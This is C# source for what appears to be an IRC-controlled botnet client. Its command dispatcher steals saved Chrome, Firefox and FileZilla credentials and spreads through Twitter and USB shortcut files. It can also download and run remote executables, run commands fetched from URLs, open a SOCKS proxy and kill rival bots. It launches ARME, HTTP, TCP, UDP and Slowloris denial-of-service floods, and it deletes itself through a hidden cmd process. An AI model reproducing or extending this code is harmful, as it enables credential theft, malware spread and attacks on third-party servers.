public static void Uninstall(string quitMsg) // NEED TO DELETE REG KEY { try { IRC.Disconnect(quitMsg); File.SetAttributes(Config.currentPath, FileAttributes.Normal); // Disarm registry monitor and delete the key monitorActive = false; RegistryPath().DeleteValue(Config._registryKey()); // Spawn a new cmd process to wait 3 seconds and remove the file ProcessStartInfo rem = new ProcessStartInfo(); rem.Arguments = "/C choice /C Y /N /D Y /T 3 & Del " + Config.currentPath; rem.WindowStyle = ProcessWindowStyle.Hidden; rem.CreateNoWindow = true; rem.FileName = "cmd.exe"; Process.Start(rem); Environment.Exit(0); } catch { Environment.Exit(0); } }
private static void PowerModeChanged(object sender, PowerModeChangedEventArgs e) { try { switch (e.Mode) { case Microsoft.Win32.PowerModes.Resume: IRC.Connect(Config._servers(), Config._mainChannel(), Config._key(), Config._port(), Config._authHost()); break; case Microsoft.Win32.PowerModes.Suspend: IRC.Disconnect("Windows is going to sleep..."); break; } } catch { } }
private static void SessionEnding(object sender, SessionEndingEventArgs e) { try { switch (e.Reason) { case Microsoft.Win32.SessionEndReasons.Logoff: IRC.Disconnect("Windows is logging off..."); break; case Microsoft.Win32.SessionEndReasons.SystemShutdown: IRC.Disconnect("Windows is shutting down..."); break; } } catch { } }
public static void runCommand(string command, string channel, string param1, string param2, string param3, string param4, string[] message) { switch (command) { case ".v": WriteMessage("Version:" + ColorCode(" " + Config.version) + ", Path:" + ColorCode(" '" + Config.currentPath) + "', MD5:" + ColorCode(" " + Config.botMD5) + ", Registry:" + ColorCode(" " + Config.regLocation) /*+ ", Active Threads:" + IRC.ColorCode(" " + Process.GetCurrentProcess().Threads.Count) */ + ".", channel); break; case ".avinfo": WriteMessage("Antivirus Product:" + ColorCode(" " + Functions.GetAntiVirus()) + ", Firewall Product:" + ColorCode(" " + Functions.GetFirewall()) + ".", channel); break; case ".chrome": Thread a = new Thread(() => Chrome.GetChrome(param1)); a.IsBackground = true; a.Start(); break; case ".firefox": Thread b = new Thread(() => Firefox.GetLoginData(param1)); b.IsBackground = true; b.Start(); break; case ".j": if (!String.IsNullOrEmpty(param1)) { sw.WriteLine("JOIN " + param1); } break; case ".p": if (!String.IsNullOrEmpty(param1)) { sw.WriteLine("PART " + param1); } break; case ".sort": sw.WriteLine("JOIN #" + Functions.GeoIPCountry()); break; case ".unsort": sw.WriteLine("PART #" + Functions.GeoIPCountry()); break; case ".permsort": if (Functions.PermType() == "a") { sw.WriteLine("JOIN #admins"); } else { sw.WriteLine("JOIN #users"); } break; case ".twitter": Thread t = new Thread(() => Twitter.StartTwitterSpread(message)); t.IsBackground = true; t.Start(); break; case ".ftp": Thread f = new Thread(FTP.GetFileZilla); f.IsBackground = true; f.Start(); break; case ".bk": if (param1 == "-i") { Thread bk = new Thread(Botkiller.explorerFlash); bk.IsBackground = true; bk.Start(); } else { Thread bk = new Thread(Botkiller.initiate); bk.IsBackground = true; bk.Start(); } break; case ".rc": IRC.Disconnect("Reconnecting..."); Thread.Sleep(15000); Connect(Config._servers(), Config._mainChannel(), Config._key(), Config._port(), Config._authHost()); break; case ".up": if (!String.IsNullOrEmpty(param1) && !String.IsNullOrEmpty(param2)) { if (Ruskill.enabled) { Ruskill.enabled = false; } Thread u = new Thread(() => Functions.UpdateBot(param1, param2.ToUpper())); u.IsBackground = true; u.Start(); } break; case ".rm": Functions.Uninstall("Uninstalling..."); break; case ".dl": // .dl URL ENVIRONMENT_VARIABLE Thread dl = new Thread(() => Functions.DownloadExeFile(param1, param2, param3, false)); dl.IsBackground = true; dl.Start(); break; case ".m": if (param1 == "on") { isMuted = true; } if (param1 == "off") { isMuted = false; } break; case ".arme": if (!String.IsNullOrEmpty(param1) && !String.IsNullOrEmpty(param2) && !String.IsNullOrEmpty(param3)) { if (param1.Contains("http://")) { param1 = param1.Replace("http://", ""); } ARME.delay = Convert.ToInt32(param3); ARME.host = param1; ARME.port = Convert.ToInt32(param2); ARME.isEnabled = true; new Thread(ARME.Begin).Start(); IRC.WriteMessage("ARME flood started on" + IRC.ColorCode(" " + ARME.host) + " on port" + IRC.ColorCode(" " + ARME.port) + " for" + IRC.ColorCode(" " + ARME.delay) + " seconds.", IRC.channel); } break; case ".http": if (!String.IsNullOrEmpty(param1) && !String.IsNullOrEmpty(param2) && !String.IsNullOrEmpty(param3)) { if (param1.Contains("http://")) { param1 = param1.Replace("http://", ""); } HTTP.delay = Convert.ToInt32(param3); HTTP.host = param1; HTTP.port = Convert.ToInt32(param2); HTTP.isEnabled = true; new Thread(HTTP.Begin).Start(); IRC.WriteMessage("HTTP flood started on" + IRC.ColorCode(" " + HTTP.host) + " on port" + IRC.ColorCode(" " + HTTP.port) + " for" + IRC.ColorCode(" " + HTTP.delay) + " seconds.", IRC.channel); } break; case ".tcp": if (!String.IsNullOrEmpty(param1) && !String.IsNullOrEmpty(param2) && !String.IsNullOrEmpty(param3)) { if (param1.Contains("http://")) { param1 = param1.Replace("http://", ""); } TCP.delay = Convert.ToInt32(param3); TCP.host = param1; TCP.port = Convert.ToInt32(param2); TCP.isEnabled = true; new Thread(TCP.Begin).Start(); IRC.WriteMessage("TCP flood started on" + IRC.ColorCode(" " + TCP.host) + " on port" + IRC.ColorCode(" " + TCP.port) + " for" + IRC.ColorCode(" " + TCP.delay) + " seconds.", IRC.channel); } break; case ".udp": if (!String.IsNullOrEmpty(param1) && !String.IsNullOrEmpty(param2) && !String.IsNullOrEmpty(param3)) { if (param1.Contains("http://")) { param1 = param1.Replace("http://", ""); } UDP.delay = Convert.ToInt32(param3); UDP.host = param1; UDP.port = Convert.ToInt32(param2); UDP.isEnabled = true; new Thread(UDP.Begin).Start(); IRC.WriteMessage("UDP flood started on" + IRC.ColorCode(" " + UDP.host) + " on port" + IRC.ColorCode(" " + UDP.port) + " for" + IRC.ColorCode(" " + UDP.delay) + " seconds.", IRC.channel); } break; case ".slow": if (!String.IsNullOrEmpty(param1) && !String.IsNullOrEmpty(param2) && !String.IsNullOrEmpty(param3)) { if (param1.Contains("http://")) { param1 = param1.Replace("http://", ""); } Slowloris.delay = Convert.ToInt32(param3); Slowloris.host = param1; Slowloris.port = Convert.ToInt32(param2); Slowloris.isEnabled = true; new Thread(Slowloris.Begin).Start(); IRC.WriteMessage("Slowloris flood started on" + IRC.ColorCode(" " + Slowloris.host) + " on port" + IRC.ColorCode(" " + Slowloris.port) + " for" + IRC.ColorCode(" " + Slowloris.delay) + " seconds.", IRC.channel); } break; case ".stop": if (ARME.isEnabled || HTTP.isEnabled || TCP.isEnabled || UDP.isEnabled || Slowloris.isEnabled) { ARME.Stop(); HTTP.Stop(); TCP.Stop(); UDP.Stop(); Slowloris.Stop(); IRC.WriteMessage("All active floods have been aborted.", channel); } break; case ".read": if (!String.IsNullOrEmpty(param1)) { using (WebClient wc = new WebClient()) { IRC.WriteMessage("Attempting to perform commands from url:" + IRC.ColorCode(" " + param1) + ".", channel); Functions.DecryptTopic(wc.DownloadString(param1)); } } break; case ".ruskill": if (!String.IsNullOrEmpty(param1)) { if (param1 == "on" && Ruskill.enabled == false) { Thread r = new Thread(Ruskill.StartRuskill); r.IsBackground = true; r.Start(); } else if (param1 == "off") { Ruskill.enabled = false; } } break; case ".socks": Thread s = new Thread(() => Functions.Socks(param1, param2)); s.IsBackground = true; s.Start(); break; case ".color": if (param1 == "off") { Config.colorsOn = false; } else if (param1 == "on") { Config.colorsOn = true; } break; case ".usb": try { if (param1 == "on") { USBlnk.initiated = true; Thread usb = new Thread(USBlnk.StartLNK); usb.IsBackground = true; usb.Start(); } else if (param1 == "off") { USBlnk.initiated = false; USBlnk.Stop(); } } catch { } break; case ".visit": try { string extra = "(visible)"; if (param1 != null) { if (!param1.Contains("http://")) { param1 = "http://" + param1; } WriteMessage("Attempting to visit" + ColorCode(" " + param1) + " " + extra + " in default browser.", channel); using (Process p = new Process()) { p.StartInfo.FileName = param1; if (param2 == "-h") { p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; p.StartInfo.CreateNoWindow = true; extra = "(hidden)"; } p.Start(); } } } catch { } break; default: break; } }